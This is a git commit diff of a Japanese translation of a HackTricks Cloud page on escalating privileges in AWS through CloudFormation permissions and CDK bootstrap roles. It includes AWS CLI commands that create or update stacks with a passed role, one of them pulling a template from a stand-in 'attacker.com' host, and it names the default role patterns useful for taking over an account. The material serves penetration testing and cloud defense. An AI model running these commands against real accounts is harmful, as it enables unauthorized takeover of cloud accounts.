mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-09 03:40:59 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## cloudformation
|
||||
|
||||
cloudformationに関する詳細情報は、以下を確認してください:
|
||||
cloudformationに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
@@ -12,13 +12,13 @@ cloudformationに関する詳細情報は、以下を確認してください:
|
||||
|
||||
### `iam:PassRole`, `cloudformation:CreateStack`
|
||||
|
||||
これらの権限を持つ攻撃者は、**指定されたロールの権限の下でアクションを実行するために、サーバーにホストされたカスタムテンプレートを使用して** **CloudFormationスタック**を作成することで**権限を昇格させる**ことができます:
|
||||
これらの権限を持つ攻撃者は、**指定されたロールの権限の下でアクションを実行するために、サーバーにホストされたカスタムテンプレートを使用して** **CloudFormationスタック**を作成することで**権限を昇格させる**ことができます:
|
||||
```bash
|
||||
aws cloudformation create-stack --stack-name <stack-name> \
|
||||
--template-url http://attacker.com/attackers.template \
|
||||
--role-arn <arn-role>
|
||||
```
|
||||
以下のページには、追加の権限 **`cloudformation:DescribeStacks`** を持つ **エクスプロイトの例** があります:
|
||||
以下のページには、追加の権限 **`cloudformation:DescribeStacks`** を持つ **エクスプロイト例**があります:
|
||||
|
||||
{{#ref}}
|
||||
iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
|
||||
@@ -28,7 +28,7 @@ iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
|
||||
|
||||
### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)
|
||||
|
||||
この場合、**既存のcloudformationスタックを悪用**して更新し、前のシナリオのように権限を昇格させることができます:
|
||||
この場合、**既存のcloudformationスタックを悪用**して、それを更新し、前のシナリオのように権限を昇格させることができます:
|
||||
```bash
|
||||
aws cloudformation update-stack \
|
||||
--stack-name privesc \
|
||||
@@ -37,15 +37,15 @@ aws cloudformation update-stack \
|
||||
--capabilities CAPABILITY_IAM \
|
||||
--region eu-west-1
|
||||
```
|
||||
`cloudformation:SetStackPolicy` 権限を使用して、**スタックに対して `UpdateStack` 権限を付与**し、攻撃を実行できます。
|
||||
`cloudformation:SetStackPolicy` 権限を使用して、**自分に `UpdateStack` 権限を与え**、攻撃を実行できます。
|
||||
|
||||
**潜在的な影響:** 指定された cloudformation サービスロールへの権限昇格。
|
||||
|
||||
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
|
||||
|
||||
この権限を持っているが、**`iam:PassRole`** がない場合でも、**使用されているスタックを更新**し、**既に添付されている IAM ロールを悪用**することができます。悪用の例については前のセクションを確認してください(更新時にロールを指定しないでください)。
|
||||
この権限を持っているが **`iam:PassRole` がない場合**でも、**使用されているスタックを更新**し、**既に添付されている IAM ロールを悪用**することができます。悪用の例については前のセクションを確認してください(更新時にロールを指定しないでください)。
|
||||
|
||||
`cloudformation:SetStackPolicy` 権限を使用して、**スタックに対して `UpdateStack` 権限を付与**し、攻撃を実行できます。
|
||||
`cloudformation:SetStackPolicy` 権限を使用して、**自分に `UpdateStack` 権限を与え**、攻撃を実行できます。
|
||||
|
||||
**潜在的な影響:** 既に添付されている cloudformation サービスロールへの権限昇格。
|
||||
|
||||
@@ -53,7 +53,7 @@ aws cloudformation update-stack \
|
||||
|
||||
ロールを**渡し、ChangeSet を作成および実行する**権限を持つ攻撃者は、**新しい cloudformation スタックを作成/更新し、cloudformation サービスロールを悪用**することができます。これは CreateStack または UpdateStack と同様です。
|
||||
|
||||
以下の悪用は、**ChangeSet 権限を使用してスタックを作成する**[ **CreateStack のバリエーション**](#iam-passrole-cloudformation-createstack)です。
|
||||
以下の悪用は、**ChangeSet 権限を使用してスタックを作成する**[ **CreateStack の**](#iam-passrole-cloudformation-createstack) **バリエーションです。**
|
||||
```bash
|
||||
aws cloudformation create-change-set \
|
||||
--stack-name privesc \
|
||||
@@ -79,27 +79,27 @@ aws cloudformation describe-stacks \
|
||||
--stack-name privesc \
|
||||
--region eu-west-1
|
||||
```
|
||||
`cloudformation:SetStackPolicy` 権限を使用して、**自分に `ChangeSet` 権限を与え**、攻撃を実行できます。
|
||||
`cloudformation:SetStackPolicy` 権限を使用して、**スタックに対して `ChangeSet` 権限を付与**し、攻撃を実行できます。
|
||||
|
||||
**潜在的な影響:** cloudformation サービスロールへの権限昇格。
|
||||
|
||||
### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
|
||||
|
||||
これは前の方法と似ていますが、**IAM ロール**を渡さずに行うため、**すでにアタッチされているロールを悪用する**ことができます。パラメータを変更するだけです:
|
||||
これは、**IAM ロール**を渡さずに前の方法と同様で、すでにアタッチされているロールを**悪用する**ことができます。パラメータを変更するだけです:
|
||||
```
|
||||
--change-set-type UPDATE
|
||||
```
|
||||
**潜在的影響:** すでにアタッチされているcloudformationサービスロールへの権限昇格。
|
||||
**潜在的影響:** 既にアタッチされているcloudformationサービスロールへの権限昇格。
|
||||
|
||||
### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)
|
||||
|
||||
攻撃者はこれらの権限を悪用してStackSetsを作成/更新し、任意のcloudformationロールを悪用することができます。
|
||||
攻撃者はこれらの権限を悪用してStackSetsを作成/更新し、任意のcloudformationロールを悪用する可能性があります。
|
||||
|
||||
**潜在的影響:** cloudformationサービスロールへの権限昇格。
|
||||
|
||||
### `cloudformation:UpdateStackSet`
|
||||
|
||||
攻撃者はpassRole権限なしでこの権限を悪用してStackSetsを更新し、アタッチされたcloudformationロールを悪用することができます。
|
||||
攻撃者はpassRole権限なしでこの権限を悪用してStackSetsを更新し、アタッチされたcloudformationロールを悪用する可能性があります。
|
||||
|
||||
**潜在的影響:** アタッチされたcloudformationロールへの権限昇格。
|
||||
|
||||
@@ -109,15 +109,15 @@ AWS cdkは、ユーザーが既に慣れ親しんでいる言語でインフラ
|
||||
|
||||
CDKを使用するには、管理者ユーザーが最初にアカウントをブートストラップする必要があり、これによりいくつかのIAMロールが作成されます。これには、\*/\*権限を持つ*exec role*が含まれます。これらのロールは、`cdk-<qualifier>-<name>-<account-id>-<region>`という命名構造に従います。ブートストラッピングは、アカウントごとに地域ごとに一度行う必要があります。
|
||||
|
||||
デフォルトでは、CDKユーザーはCDKを使用するために必要なロールをリストするアクセス権を持っていないため、それらを手動で特定する必要があります。開発者のマシンやCI/CDノードを侵害した場合、これらのロールを引き受けてCFNテンプレートをデプロイする能力を自分に付与することができ、`cfn-exec`ロールを使用してCFNが任意のリソースをデプロイできるようにし、アカウントを完全に侵害します。
|
||||
デフォルトでは、CDKユーザーはCDKを使用するために必要なロールをリストするアクセス権を持っていないため、手動で特定する必要があります。開発者のマシンやCI/CDノードを侵害した場合、これらのロールを引き受けてCFNテンプレートをデプロイする能力を自分に付与することができ、アカウントを完全に侵害することになります。
|
||||
|
||||
### ロール名の特定
|
||||
|
||||
`cloudformation:DescribeStacks`を持っている場合、ロールは`CDKToolkit`というスタックに定義されており、そこから名前を取得できます。
|
||||
|
||||
CDKプロジェクトのビルドとデプロイに使用されたマシンにいる場合、プロジェクトのルートディレクトリにある`cdk.out/manafest.json`からそれらを取得できます。
|
||||
CDKプロジェクトのビルドとデプロイに使用されたマシンにいる場合、プロジェクトのルートディレクトリにある`cdk.out/manafest.json`から取得できます。
|
||||
|
||||
また、それらが何であるかを良い推測をすることもできます。`qualifier`は、CDKブートストラップの複数のインスタンスを同時にデプロイできるようにするためにロールに追加される文字列ですが、デフォルト値は`hnb659fds`にハードコーディングされています。
|
||||
また、ロールが何であるかを良い推測をすることもできます。`qualifier`は、CDKブートストラップの複数のインスタンスを同時にデプロイできるようにロールに追加される文字列ですが、デフォルト値は`hnb659fds`にハードコーディングされています。
|
||||
```
|
||||
# Defaults
|
||||
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
|
||||
|
||||
Reference in New Issue
Block a user